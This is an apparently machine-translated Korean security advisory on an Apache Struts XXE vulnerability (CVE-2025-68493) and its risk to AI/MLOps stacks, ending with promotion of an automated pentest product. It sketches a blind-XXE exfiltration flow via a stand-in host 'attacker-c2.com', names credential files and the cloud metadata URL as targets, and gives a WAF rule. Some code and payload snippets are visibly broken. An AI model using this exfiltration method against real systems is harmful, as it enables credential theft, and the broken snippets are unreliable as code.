빠르게 진화하는 생성 AI 환경에서 보안 엔지니어는 종종 모델별 위협(프롬프트 인젝션, 탈옥, 데이터 포이즈닝 등)에 대한 터널링 비전을 제시합니다. 그러나 CVE-2025-68493 2026년 1월 11일에 발표될 이 보고서는 최첨단 모델을 감싸고 있는 레거시 인프라가 가장 취약한 고리라는 사실을 잔인하게 일깨워줍니다.
이 문서에서는 아파치 스트럿츠에서 발견된 중요한 취약점에 대한 기술적 부검을 제공합니다. xwork-core 컴포넌트입니다. 코드 수준에서 근본 원인을 분석하고, MLOps 파이프라인에 미치는 파괴적인 잠재력을 살펴보고, 즉각적인 패치 적용부터 AI 기반 자동 방어까지 다양한 해결 전략에 대해 논의합니다.

CVE-2025-68493의 기술적 해부학
Apache Struts는 OGNL 인젝션을 통한 원격 코드 실행(RCE)으로 악명 높은 역사를 가지고 있습니다(예: Equifax), CVE-2025-68493 는 다른 벡터를 공격합니다: XML 구문 분석 로직입니다.
취약점 범위
- 컴포넌트:
xwork-core(Struts 2의 기본이 되는 명령 패턴 프레임워크). - 취약점 유형: CWE-112] XML 유효성 검사 누락으로 인한 XML 외부 엔티티(XXE) 인젝션.
- 영향을 받는 버전: Apache Struts 2.0.0 - 6.1.0.
- CVSS v3.1 점수: 9.8(중요).
근본 원인 분석
이 취약점은 XWorkConverter 와 특정 구성 설명자 처리에 대해 설명합니다. 프레임워크가 HTTP 요청을 처리할 때 콘텐츠 유형: 애플리케이션/xml를 사용하면 기본 XML 구문 분석기(주로 Struts로 래핑된 Xerces)가 인스턴스화되어 페이로드를 역직렬화합니다.
영향을 받는 버전에서는 DomHelper 클래스는 기본적으로 DTD(문서 유형 정의) 처리 및 외부 엔티티 확인을 명시적으로 비활성화하지 못합니다.
보안을 구현하려면 특정 기능 플래그를 설정해야 합니다. 문서 빌더 팩토리. 에 이러한 플래그가 없으면 CVE-2025-68493 오프닝을 생성합니다:
Java
// 취약한 코드 패턴 (개념적) DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // 누락: dbf.setFeature("", true); // 누락: dbf.setFeature("", false); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(inputStream); // 트리거 지점
이러한 가드레일이 없으면 공격자는 서버가 강제로 해결해야 하는 악의적인 엔티티를 DOCTYPE 헤더에 정의할 수 있습니다.
이것이 AI 및 MLOps 인프라에 중요한 이유
물어보실 수도 있습니다: "우리는 추론을 위해 Python/PyTorch를 실행합니다. Java 프레임워크 취약점이 중요한 이유는 무엇인가요?"
엔터프라이즈 AI의 현실은 하이브리드입니다. 이 모델이 컨테이너화된 Python 환경에서 실행되는 동안에는 오케스트레이션 레이어, API 게이트웨이및 레거시 데이터 레이크 이러한 모델을 피딩하는 것은 Struts나 Spring과 같은 성숙한 Java 스택을 기반으로 구축되는 경우가 많습니다.
CVE-2025-68493은 AI 시스템에 대한 세 가지 특정 위험을 노출합니다:
1. 모델 가중치 및 데이터 세트 유출(LFI)
XXE 공격은 로컬 파일 인클루전을 허용합니다. Struts 애플리케이션에 파일 시스템에 대한 읽기 액세스 권한이 있는 경우(루트 사용자 컨테이너가 아닌 경우) 공격자는 구성 파일을 읽을 수 있습니다.
- Target:
/root/.huggingface/token또는aws_credentials. - Impact: 공격자는 S3 버킷에서 독점적인 체크포인트 또는 비공개 데이터 세트를 가져오는 데 필요한 자격 증명을 훔칩니다.
2. 메타데이터 서비스에 대한 SSRF(클라우드 재킹)
이는 클라우드 네이티브 AI에 가장 중요한 벡터입니다. 공격자는 XML 구문 분석기가 HTTP 요청을 하도록 강제함으로써 인스턴스 메타데이터 서비스(IMDS)를 공격할 수 있습니다.
- 페이로드 대상:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Impact: EC2 인스턴스에 연결된 IAM 역할 도용. AI 클러스터에서 이러한 역할은 종종 고가의 GPU 인스턴스(P4/P5 인스턴스)를 프로비저닝할 수 있는 광범위한 권한을 가지고 있어 암호화폐 채굴이나 무단 트레이닝을 위한 리소스 하이재킹으로 이어질 수 있습니다.
3. 서비스 거부(10억 웃음 공격)
AI 추론 서버는 리소스 집약적입니다. CVE-2025-68493을 통해 전송된 재귀적 엔티티 확장 공격("억 개의 웃음")은 서버의 메모리를 고갈시켜 오케스트레이션 노드가 충돌하고 AI 서비스의 가용성을 방해할 수 있습니다.
공격 벡터 시뮬레이션: 개념 증명
아래는 공격자가 이 취약점을 악용하는 방법을 기술적으로 재현한 것입니다.
시나리오: 레거시 Struts 액션은 데이터를 추천 엔진에 전달하기 전에 사용자 프로필을 구문 분석하는 데 사용됩니다.
요청 헤더:
HTTP
POST /struts2-showcase/person/create.action HTTP/1.1 호스트: vulnerable-ai-gateway.corp 콘텐츠 유형: application/xml
악성 페이로드(대역 외 유출이 있는 블라인드 XXE):
대부분의 최신 설정에서는 서버 응답이 위생 처리되므로 HTTP 응답에서 파일 콘텐츠를 직접 볼 수 없습니다(블라인드 XXE). 공격자는 매개변수 엔티티를 사용하여 제어된 서버로 데이터를 전송합니다.
XML
<!DOCTYPE root [ <!ENTITY % 원격 시스템 ""> %remote; ]> 존 도우 &exfiltrate; ...> John Doe ......> .........
내용 eval.dtd 공격자 서버에서 호스팅됩니다:
XML
<!ENTITY % eval ""> %eval;
실행 흐름:
- Struts 파서는 기본 XML을 읽습니다.
- 다음에서 외부 DTD를 가져옵니다.
공격자-c2.com. - 외부 DTD를 구문 분석하여 다음을 읽도록 지시합니다.
/etc/passwd. - 다음과 같은 콘텐츠를 전송합니다.
/etc/passwd를 URL 매개변수로 공격자의 서버로 다시 전송합니다.

탐지 및 해결 전략
즉각적인 완화("출혈 중지" 단계)
패치를 즉시 배포할 수 없는 경우, 인그레스 컨트롤러에서 엄격한 WAF(웹 애플리케이션 방화벽) 규칙을 적용해야 합니다.
ModSecurity 규칙 예제:
Apache
SecRule REQUEST_BODY "(?i)<!DOCTYPE" \\ "id:1001,phase:2,t:none,log,deny,status:403,msg:'잠재적 XML 인젝션 탐지(CVE-2025-68493)'"
참고: 이 도구는 무딘 도구입니다. 합법적인 SOAP 엔드포인트를 손상시킬 수 있는 모든 DTD를 차단합니다. 먼저 스테이징에서 테스트하세요.
공식 수정 사항
다음으로 업그레이드 Apache Struts 6.1.1+. 아파치 팀은 xwork-core 를 설정하여 기본적으로 외부 엔티티를 무시합니다. 업그레이드를 확인하려면 struts2-core JAR 버전의 WEB-INF/lib 또는 Maven 종속성 트리.
| 종속성 | 취약한 버전 | 패치된 버전 |
|---|---|---|
struts2-core | < 6.1.1 | 6.1.1+ |
xwork-core | < 6.1.1 | 6.1.1+ |
보안 확장: 취약점 검증에서 AI의 역할
복잡한 마이크로서비스 아키텍처에서는 단순히 취약성 스캐너(예: Nessus 또는 OpenVAS)를 실행하는 것만으로도 엄청난 노이즈가 발생합니다. 스캐너는 버전 번호와 일치하지만 특정 버전이 있는지 검증하지 못하는 경우가 많습니다. 구성 는 악용될 수 있습니다. 이로 인해 보안 팀에 '알림 피로'가 발생합니다.
여기에서 패러다임이 전환됩니다. 정적 스캐닝 에 에이전트 침투 테스트.
펜리전트를 통한 자동화된 익스플로잇
최신 보안에는 공격자처럼 '생각하는' 도구가 필요합니다. 펜리전트 (penligent.ai) 는 차세대 자동화된 모의 침투 테스트 플랫폼입니다. 정규식 매칭을 사용하는 기존 스캐너와 달리 Penligent는 LLM 기반 에이전트를 활용하여 애플리케이션의 컨텍스트를 이해합니다.
펜리전트가 CVE-2025-68493을 처리하는 방법:
- 컨텍스트 검색: 펜리전트는
콘텐츠 유형: 애플리케이션/xml엔드포인트가 문서화되어 있지 않거나 복잡한 API 경로 뒤에 숨겨져 있는 경우에도 마찬가지입니다. - 지능형 페이로드 구성: 펜리전트 에이전트는 일반 페이로드를 뿌리는 대신 애플리케이션의 동작을 분석합니다. Struts 시그니처를 탐지하면 CVE-2025-68493에 대한 특정 PoC를 구성합니다.
- 안전 유효성 검사: 에이전트는 민감한 파일을 읽는 대신 정상적인 상호 작용(예: XXE를 통한 DNS 조회)을 트리거하여 데이터 프라이버시 위험 없이 익스플로잇 가능성을 증명하려고 시도합니다.
- 오탐 제거: 실행 경로를 검증함으로써 Penligent는 노이즈를 걸러냅니다. 라이브러리가 존재하지만 XML 구문 분석기가 안전하게 구성된 경우, Penligent는 이를 '안전'으로 표시하여 팀의 조사 시간을 절약합니다.
수백 개의 서비스를 관리하는 팀의 경우 다음과 같이 말할 수 있습니다. "펜리젠트는 300개의 서비스를 검증했지만, 실제로 악용 가능한 서비스는 2개뿐입니다." 는 혼란스러운 주말과 관리되는 패치 주기의 차이입니다.
결론
CVE-2025-68493 는 취약성 보고서의 또 다른 항목이 아니라 많은 엔터프라이즈 AI 플랫폼의 기반에 있는 구조적 약점입니다. 레거시 Java 구성 요소에서 클라우드 메타데이터 서비스를 제어하는 기능으로 인해 이는 티어 1 위협이 됩니다.
보안 엔지니어는 '패치하고 기도하는' 방법론에서 벗어나야 합니다. 로우레벨 XML 구문 분석 메커니즘을 이해하고 Penligent와 같은 AI 기반 공격 툴을 활용하면 구축한 모델만큼 인프라의 복원력을 유지할 수 있습니다.
다음 단계:
지금 바로 SBOM(소프트웨어 자재 명세서)을 감사하여 6.1.1 미만의 struts2-core 버전이 있는지 확인하세요. 발견되면 즉시 컨테이너를 격리하고 인시던트 대응 프로토콜을 시작하세요.
참조:

